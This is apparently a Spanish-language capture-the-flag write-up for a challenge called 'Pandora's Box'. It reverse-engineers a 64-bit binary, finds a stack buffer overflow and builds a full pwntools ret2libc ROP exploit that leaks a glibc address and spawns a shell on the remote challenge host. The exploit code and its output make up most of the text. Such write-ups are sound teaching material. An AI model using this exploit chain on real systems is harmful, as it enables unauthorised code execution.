Pandora's Box
10 minutos de lectura
Se nos proporciona un binario de 64 bits llamado pb
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Ingeniería inversa
Podemos usar Ghidra para analizar el binario y mirar el código fuente descompilado en C:
int main() {
setup();
cls();
banner();
box();
return 0;
}
Entre otras, esta función llama a box
:
void box() {
long num;
char data [32];
data._0_8_ = 0;
data._8_8_ = 0;
data._16_8_ = 0;
data._24_8_ = 0;
fwrite("This is one of Pandora\'s mythical boxes!\n\nWill you open it or Return it to the Library for analysis?\n\n1. Open.\n2. Return.\n\n>> ", 1, 0x7e, stdout);
num = read_num();
if (num != 2) {
fprintf(stdout,"%s\nWHAT HAVE YOU DONE?! WE ARE DOOMED!\n\n",&DAT_004021c7);
/* WARNING: Subroutine does not return */
exit(0x520);
}
fwrite("\nInsert location of the library: ", 1, 0x21, stdout);
fgets(data, 256, stdin);
fwrite("\nWe will deliver the mythical box to the Library for analysis, thank you!\n\n", 1, 0x4b, stdout);
return;
}
Vulnerabilidad de Buffer Overflow
El binario es vulnerable a Buffer Overflow porque la variable llamada data
tiene 32 bytes asignados como buffer, pero el programa está leyendo hasta 256 bytes de stdin
y guardando los datos en data
, desbordando el buffer reservado si el tamaño de los datos de entrada es mayor que 32 bytes.
Podemos verificar que el programa se rompe en esta situación (opción 2
):
$ ./pb
◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙
▣ ▣
▣ ◊◊ ▣
▣ ◊◊◊◊◊◊◊◊◊◊◊◊◊◊◊ ▣
▣ ◊◊ ▣
▣ ▣
◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙
This is one of Pandora's mythical boxes!
Will you open it or Return it to the Library for analysis?
1. Open.
2. Return.
>> 2
Insert location of the library: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
We will deliver the mythical box to the Library for analysis, thank you!
zsh: segmentation fault (core dumped) ./pb
Debido a que tenemos un binario de 64 bits sin canario, el offset necesario para desbordar el buffer y llegar a la pila (stack) es 40 (ya que después de los 32 bytes reservados se encuentra el valor de $rbp
guardado y justo después la dirección de retorno).
No obstante, esta vez es un poco diferente. Lo mejor es comprobarlo en el desensamblado de box
:
$ objdump -M intel --disassemble=box pb
pb: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .text:
00000000004012c2 <box>:
4012c2: 55 push rbp
4012c3: 48 89 e5 mov rbp,rsp
4012c6: 48 83 ec 30 sub rsp,0x30
4012ca: 48 c7 45 d0 00 00 00 mov QWORD PTR [rbp-0x30],0x0
4012d1: 00
4012d2: 48 c7 45 d8 00 00 00 mov QWORD PTR [rbp-0x28],0x0
4012d9: 00
4012da: 48 c7 45 e0 00 00 00 mov QWORD PTR [rbp-0x20],0x0
4012e1: 00
4012e2: 48 c7 45 e8 00 00 00 mov QWORD PTR [rbp-0x18],0x0
4012e9: 00
4012ea: 48 8b 05 1f 2d 00 00 mov rax,QWORD PTR [rip+0x2d1f] # 404010 <stdout@@GLIBC_2.2.5>
...
40139e: e8 1d fd ff ff call 4010c0 <fwrite@plt>
4013a3: 90 nop
4013a4: c9 leave
4013a5: c3 ret
Disassembly of section .fini:
Vemos que hay un espacio de 0x30
(48
) en la pila, más 8 bytes del $rbp
guardado del stack frame anterior. Después de esto, tendremos el $rip
guardado (dirección de retorno), que es lo que queremos modificar con la vulnerabilidad de Buffer Overflow. En total, necesitamos 56 bytes para alcanzar la posición de la dirección de retorno en la pila (stack).
Estrategia de explotación
Como el binario tiene protección NX, tenemos que utilizar Return Oriented Programming (ROP) para ejecutar código arbitrario. Esta técnica hace uso de gadgets, que son conjuntos de intrucciones que terminan en ret
(normalmente). Podemos añadir una lista de direcciones de gadgets en la pila para que cuando un gadget se ejecute, vuelva a la pila y se ejecute el siguiente gadget. De ahí el nombre de ROP chain o cadena ROP.
Esto es un bypass de la protección NX, ya que no estamos ejecutando instrucciones en la pila (shellcode), sino que estamos redirigiendo el programa a direcciones específicas que son ejecutables y que contienen las instrucciones que queremos.
Para conseguir ejecución de comandos, usaremos un ataque ret2libc. Esta técnica consiste en llamar a system
en Glibc usando "/bin/sh"
como primer argumento a la función (que también se encuentra en Glibc). El problema que tenemos que solucionar es ASLR, que es una protección habilitada en librerías compartidas para aleatorizar una dirección base.
Como tenemos que llamar a system
y usar "/bin/sh"
, tenemos que saber las direcciones de dichos valores en Glibc en tiempo de ejecución (estas direcciones serán diferentes en cada ejecución). Por tanto, tenemos que encontrar una manera de fugar una dirección de Glibc porque lo único que es aleatorio es la dirección base de Glibc; el resto de las direcciones se calculan mediante offsets a dicha dirección base.
El proceso de fuga de una función involucra llamar a una función como puts
(o printf
o write
) con una dirección de la Tabla de Offsets Globales (Global Offset Table, GOT) como primer argumento (por ejemplo, setvbuf
). Esta tabla contiene las direcciones reales de las funciones externas usadas por el programa (si han sido resueltas previamente). Como puts
se utiliza en el binario, para llamarla, solamente tenemos que usar la Tabla de Enlaces a Procedimentos (Procedure Linkage Table, PLT), que aplica un salto a la dirección real de puts
.
Otra consideración es el uso de gadgets. Debido a la convención de llamadas a funciones en binarios de 64 bits, los argumentos de las funciones van en los registros (en orden: $rdi
, $rsi
, $rdx
, $rcx
…). Por ejemplo, la instrucción pop rdi
tomará el siguiente valor de la pila lo lo guardará en $rdi
.
Desarrollo del exploit
Perfecto, vamos a empezar con el proceso de fuga. Estos son los valores que necesitamos:
- Dirección del gadget
pop rdi; ret
(0x40142b
):
$ ROPgadget --binary pb | grep 'pop rdi ; ret'
0x000000000040142b : pop rdi ; ret
- Direcciones de la GOT:
$ objdump -R pb
pb: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000403ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000403ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000404010 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000404020 R_X86_64_COPY stdin@@GLIBC_2.2.5
0000000000403fa0 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000403fa8 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000403fb0 R_X86_64_JUMP_SLOT alarm@GLIBC_2.2.5
0000000000403fb8 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
0000000000403fc0 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5
0000000000403fc8 R_X86_64_JUMP_SLOT fprintf@GLIBC_2.2.5
0000000000403fd0 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
0000000000403fd8 R_X86_64_JUMP_SLOT strtoul@GLIBC_2.2.5
0000000000403fe0 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5
0000000000403fe8 R_X86_64_JUMP_SLOT fwrite@GLIBC_2.2.5
- Dirección de
puts
en la PLT (0x404030
):
$ objdump -M intel -d pb | grep puts@plt
0000000000401030 <puts@plt>:
40124a: e8 e1 fd ff ff call 401030 <puts@plt>
401261: e8 ca fd ff ff call 401030 <puts@plt>
40126d: e8 be fd ff ff call 401030 <puts@plt>
- Dirección de
main
(0x4013a6
):
$ objdump -M intel -d pb | grep '<main>'
00000000004013a6 <main>:
He mostrado el enfoque manual para iniciar el exploit de ret2libc. Sin embargo, estaré usando pwntools
a partir de ahora.
Fugando direcciones de memoria
Podemos usar este script en Python:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('pb')
glibc = ELF('glibc/libc.so.6', checksec=False)
rop = ROP(elf)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, port)
def main():
p = get_process()
offset = 56
junk = b'A' * offset
payload = junk
payload += p64(rop.rdi[0])
payload += p64(elf.got.fprintf)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Insert location of the library: ', payload)
p.interactive()
if __name__ == '__main__':
main()
Aquí hemos fugado la dirección de fprintf
en tiempo de ejecución:
$ python3 solve.py
[*] './pb'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] Loaded 14 cached gadgets for 'pb'
[+] Starting local process './pb': pid 143704
[*] Switching to interactive mode
We will deliver the mythical box to the Library for analysis, thank you!
\xb0\x16\xe9\x98
◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙
▣ ▣
▣ ◊◊ ▣
▣ ◊◊◊◊◊◊◊◊◊◊◊◊◊◊◊ ▣
▣ ◊◊ ▣
▣ ▣
◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙
This is one of Pandora's mythical boxes!
Will you open it or Return it to the Library for analysis?
1. Open.
2. Return.
>> $
Vemos también que hemos vuelto al main
, que es necesario porque tenemos que introducir otro payload sin detener el programa.
Ahora podemos calcular la dirección base de Glibc, que se puede realizar con un simple cálculo. Podemos restar la dirección real de fprintf
y su offset en Glibc para conseguir la dirección base. Vamos a extraer todos los offsets necesarios:
- Offset de
fprintf
(0x606b0
):
$ readelf -s glibc/libc.so.6 | grep fprintf
174: 000000000005a4f0 11 FUNC GLOBAL DEFAULT 15 _IO_vfprintf@@GLIBC_2.2.5
731: 00000000000606b0 183 FUNC WEAK DEFAULT 15 _IO_fprintf@@GLIBC_2.2.5
734: 0000000000134e20 192 FUNC GLOBAL DEFAULT 15 __fprintf_chk@@GLIBC_2.3.4
778: 00000000000606b0 183 FUNC GLOBAL DEFAULT 15 fprintf@@GLIBC_2.2.5
1597: 000000000005a4f0 11 FUNC GLOBAL DEFAULT 15 vfprintf@@GLIBC_2.2.5
2683: 0000000000134f00 28 FUNC GLOBAL DEFAULT 15 __vfprintf_chk@@GLIBC_2.3.4
- Offset de
system
(0x50d60
):
$ readelf -s glibc/libc.so.6 | grep system
396: 0000000000050d60 45 FUNC GLOBAL DEFAULT 15 __libc_system@@GLIBC_PRIVATE
1481: 0000000000050d60 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
2759: 0000000000169140 103 FUNC GLOBAL DEFAULT 15 svcerr_systemerr@GLIBC_2.2.5
- Offset de
"/bin/sh"
(0x1d8698
):
$ strings -atx glibc/libc.so.6 | grep /bin/sh
1d8698 /bin/sh
Obteniendo RCE
Ahora podemos calcular las direcciones reales de system
y "/bin/sh"
en tiempo de ejecución porque tenemos la dirección base de Glibc en tiempo de ejecución. Vamos a probarlo:
fprintf_addr = u64(p.recvline().strip().ljust(8, b'\0'))
p.info(f'Leaked fprintf() address: {hex(fprintf_addr)}')
glibc.address = fprintf_addr - glibc.sym.fprintf
p.info(f'Glibc base address: {hex(glibc.address)}')
$ python3 solve.py
[*] './pb'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] Loaded 14 cached gadgets for 'pb'
[+] Starting local process './pb': pid 150949
[*] Leaked fprintf() address: 0x7f47e48ff6b0
[*] Glibc base address: 0x7f47e489f000
[*] Switching to interactive mode
◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙
▣ ▣
▣ ◊◊ ▣
▣ ◊◊◊◊◊◊◊◊◊◊◊◊◊◊◊ ▣
▣ ◊◊ ▣
▣ ▣
◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙◙
This is one of Pandora's mythical boxes!
Will you open it or Return it to the Library for analysis?
1. Open.
2. Return.
>> $
Como comprobación, vemos que la dirección base de Glibc termina en 000
en hexadecimal, lo cual es correcto. Vamos a terminar el exploit:
payload = junk
payload += p64(rop.rdi[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(glibc.sym.system)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Insert location of the library: ', payload)
p.recv()
p.interactive()
$ python3 solve.py
[*] './pb'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] Loaded 14 cached gadgets for 'pb'
[+] Starting local process './pb': pid 151797
[*] Leaked fprintf() address: 0x7fdbb41c36b0
[*] Glibc base address: 0x7fdbb4163000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Pero no funciona (Got EOF while reading in interactive
). Esto podría ser un problema de alineación de la pila (como en Labyrinth). Un simple gadget ret
antes de llamar a system
solucionará el problema (De lo contrario, tendríamos que usar GDB para depurar el exploit):
payload = junk
payload += p64(rop.rdi[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(rop.ret[0])
payload += p64(glibc.sym.system)
Y ahora funciona a la perfección:
$ python3 solve.py
[*] './pb'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] Loaded 14 cached gadgets for 'pb'
[+] Starting local process './pb': pid 154943
[*] Leaked fprintf() address: 0x7fe5fb7d36b0
[*] Glibc base address: 0x7fe5fb773000
[*] Switching to interactive mode
$ ls
flag.txt glibc pb solve.py
$ cat flag.txt
HTB{f4k3_fl4g_4_t35t1ng}
Flag
Vamos a probar en remoto:
$ python3 solve.py 165.232.98.11:30618
[*] './pb'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] Loaded 14 cached gadgets for 'pb'
[+] Opening connection to 165.232.98.11 on port 30618: Done
[*] Leaked fprintf() address: 0x7f0b43b8a6b0
[*] Glibc base address: 0x7f0b43b2a000
[*] Switching to interactive mode
$ ls
core
flag.txt
glibc
pb
$ cat flag.txt
HTB{r3turn_2_P4nd0r4?!}
El exploit completo se puede encontrar aquí: solve.py
.